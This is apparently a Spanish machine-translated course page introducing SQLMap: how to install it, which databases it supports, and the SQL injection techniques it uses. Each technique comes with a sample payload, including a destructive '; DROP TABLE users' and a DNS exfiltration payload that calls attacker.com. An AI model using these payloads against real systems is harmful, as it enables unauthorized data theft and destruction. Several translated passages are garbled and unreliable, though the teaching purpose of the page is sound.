SQLMap Overview

SQLMap es una herramienta gratuita y de código abierto para pruebas de penetración, escrita en Python, que automatiza la detección y explotación de vulnerabilidades de inyección SQL (SQLi). SQLMap se ha desarrollado continuamente desde 2006 y aún recibe mantenimiento.

python sqlmap.py -u 'http://inlanefreight.htb/page.php?id=5'

SQLMap incluye un potente motor de detección, numerosas funciones y una amplia gama de opciones y parámetros para ajustar con precisión sus múltiples aspectos, tales como:

Conexión de destino

detección de inyección

Toma de huellas dactilares

Enumeración

Mejoramiento

Detección y elusión de la protección mediante scripts de "manipulación"

Recuperación de contenido de bases de datos

acceso al sistema de archivos

Ejecución de los comandos del sistema operativo (SO)

Instalación de SQLMap

SQLMap viene preinstalado en tu Pwnbox y en la mayoría de los sistemas operativos enfocados en seguridad. SQLMap también se encuentra en las bibliotecas de muchas distribuciones de Linux. Por ejemplo, en Debian, se puede instalar con:

sudo apt install sqlmap

Si queremos instalarlo manualmente, podemos usar el siguiente comando en la terminal de Linux o en la línea de comandos de Windows:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Después de eso, SQLMap se puede ejecutar con:

python sqlmap.py

Bases de datos compatibles

SQLMap ofrece la mayor compatibilidad con sistemas de gestión de bases de datos (SGBD) de cualquier otra herramienta de explotación de SQL. SQLMap es totalmente compatible con los siguientes SGBD:

MySQL

Oracle

PostgreSQL

Microsoft SQL Server

SQLite

IBM DB2

Microsoft Access

Firebird

Sybase

SAP MaxDB

Informix

MariaDB

HSQLDB

CockroachDB

TiDB

MemSQL

H2

MonetDB

Apache Derby

Amazon Redshift

Vertica,Mckoi

Presto

Altibase

MimerSQL

CrateDB

Greenplum

Drizzle

Apache Ignite

Cubrid

InterSystems Cache

IRIS

eXtremeDB

FrontBase

El equipo de SQLMap también trabaja periódicamente para añadir y dar soporte a nuevos sistemas de gestión de bases de datos (DBMS).

Tipos de inyección SQL compatibles

SQLMap es la única herramienta de pruebas de penetración capaz de detectar y explotar correctamente todos los tipos conocidos de inyecciones SQLi. Los tipos de inyecciones SQL compatibles con SQLMap se muestran con el siguiente sqlmap -hhcomando:

sqlmap -hh
...SNIP...
  Techniques:
    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")

Los caracteres técnicos BEUSTQse refieren a lo siguiente:

  • B: ciego basado en booleanos

  • EBasado en errores

  • U: Basado en consultas de unión

  • SConsultas apiladas

  • T: Ciego basado en el tiempo

  • QConsultas en línea

Inyección SQL ciega basada en booleanos

Ejemplo de Boolean-based blind SQL Injection:

AND 1=1

SQLMap explota Boolean-based blind SQL Injectionvulnerabilidades diferenciando los resultados TRUEde FALSElas consultas, recuperando así 1 byte de información por solicitud. Esta diferenciación se basa en la comparación de las respuestas del servidor para determinar si la consulta SQL devolvió un valor booleano TRUEo nulo FALSE. Esto incluye comparaciones aproximadas del contenido de la respuesta sin procesar, códigos HTTP, títulos de página, texto filtrado y otros factores.

  • TRUELos resultados se basan generalmente en respuestas que no presentan diferencias o presentan diferencias marginales con respecto a la respuesta habitual del servidor.

  • FALSELos resultados se basan en respuestas que presentan diferencias sustanciales con respecto a la respuesta habitual del servidor.

  • Boolean-based blind SQL InjectionSe considera el tipo de SQLi más común en las aplicaciones web.

Inyección SQL basada en errores

Ejemplo de Error-based SQL Injection:

AND GTID_SUBSET(@@version,0)

Si los errores database management system( DBMS) se devuelven como parte de la respuesta del servidor ante problemas relacionados con la base de datos, existe la posibilidad de que se puedan usar para transmitir los resultados de las consultas solicitadas. En tales casos, se utilizan cargas útiles especializadas para el SGBD actual, dirigidas a las funciones que provocan comportamientos anómalos conocidos. SQLMap cuenta con la lista más completa de dichas cargas útiles y es compatible Error-based SQL Injectioncon los siguientes SGBD:

MySQL

PostgreSQL

Oráculo

Microsoft SQL Server

Sybase

Vértica

IBM DB2

Ave fénix

MonetDB

La SQLi basada en errores se considera más rápida que todos los demás tipos, excepto la basada en consultas UNION, porque puede recuperar una cantidad limitada (por ejemplo, 200 bytes) de datos llamados "fragmentos" a través de cada solicitud.

Consulta basada en UNION

Ejemplo de UNION query-based SQL Injection:

UNION ALL SELECT 1,@@version,3

Mediante el uso de UNION, generalmente es posible extender la vulnerableconsulta original ( ) con los resultados de las sentencias inyectadas. De esta manera, si los resultados de la consulta original se muestran como parte de la respuesta, el atacante puede obtener resultados adicionales de las sentencias inyectadas dentro de la propia respuesta de la página. Este tipo de inyección SQL se considera el más rápido, ya que, en el escenario ideal, el atacante podría extraer el contenido de toda la tabla de la base de datos de interés con una sola solicitud.

Consultas apiladas

Ejemplo de Stacked Queries:

; DROP TABLE users

La inyección simultánea de consultas SQL, también conocida como "piggy-backing", consiste en ejecutar sentencias SQL adicionales después de la consulta vulnerable. Si se requiere ejecutar sentencias que no sean consultas (por ejemplo INSERT, `INSERT` UPDATEo ` DELETECREATE`), la plataforma vulnerable debe admitir la inyección simultánea de consultas (por ejemplo, `SQLMap`, Microsoft SQL Serverque PostgreSQLla admite de forma predeterminada). SQLMap puede aprovechar estas vulnerabilidades para ejecutar sentencias que no sean consultas en funciones avanzadas (como la ejecución de comandos del sistema operativo) y para la recuperación de datos, de forma similar a los tipos de inyección SQL ciega basados ​​en tiempo.

Inyección SQL ciega basada en tiempo

Ejemplo de Time-based blind SQL Injection:

AND 1=IF(2>1,SLEEP(5),0)

El principio de Time-based blind SQL Injectiones similar al de Boolean-based blind SQL Injection, pero aquí el tiempo de respuesta se utiliza como fuente para la diferenciación entre TRUEo FALSE.

  • TRUELa respuesta se caracteriza generalmente por la diferencia notable en el tiempo de respuesta en comparación con la respuesta normal del servidor.

  • FALSELa respuesta debería resultar en un tiempo de respuesta indistinguible de los tiempos de respuesta regulares.

Time-based blind SQL InjectionEs considerablemente más lento que el SQLi ciego basado en booleanos, ya que las consultas que resulten en `false` TRUEretrasarían la respuesta del servidor. Este tipo de SQLi se utiliza en casos donde Boolean-based blind SQL Injection`false` no es aplicable. Por ejemplo, si la instrucción SQL vulnerable no es una consulta (p. ej INSERT., `SELECT` UPDATEo DELETE`SELECT`), ejecutada como parte de la funcionalidad auxiliar sin afectar el proceso de renderizado de la página, se utiliza el SQLi basado en tiempo por necesidad, ya que ` Boolean-based blind SQL Injectionfalse` no funcionaría en este caso.

Consultas en línea

Ejemplo de Inline Queries:

SELECT (SELECT @@version) from

Este tipo de inyección inserta una consulta dentro de la consulta original. Esta inyección SQL es poco común, ya que requiere que la aplicación web vulnerable esté escrita de una manera específica. Sin embargo, SQLMap también admite este tipo de inyección SQL.

Inyección SQL fuera de banda

Ejemplo de Out-of-band SQL Injection:

LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\README.txt'))

Este se considera uno de los tipos más avanzados de SQLi, utilizado cuando los demás tipos no son compatibles con la aplicación web vulnerable o son demasiado lentos (p. ej., SQLi ciego basado en tiempo). SQLMap admite SQLi fuera de banda mediante "exfiltración DNS", donde las consultas solicitadas se recuperan a través del tráfico DNS.

Al ejecutar SQLMap en el servidor DNS del dominio bajo control (por ejemplo, `example.com` .attacker.com), SQLMap puede realizar el ataque forzando al servidor a solicitar subdominios inexistentes (por ejemplo, `example.com` foo.attacker.com), donde foo`example.com` sería la respuesta SQL que se desea recibir. SQLMap puede entonces recopilar estas solicitudes DNS erróneas y extraer la fooparte `example.com` para formar la respuesta SQL completa.

Last updated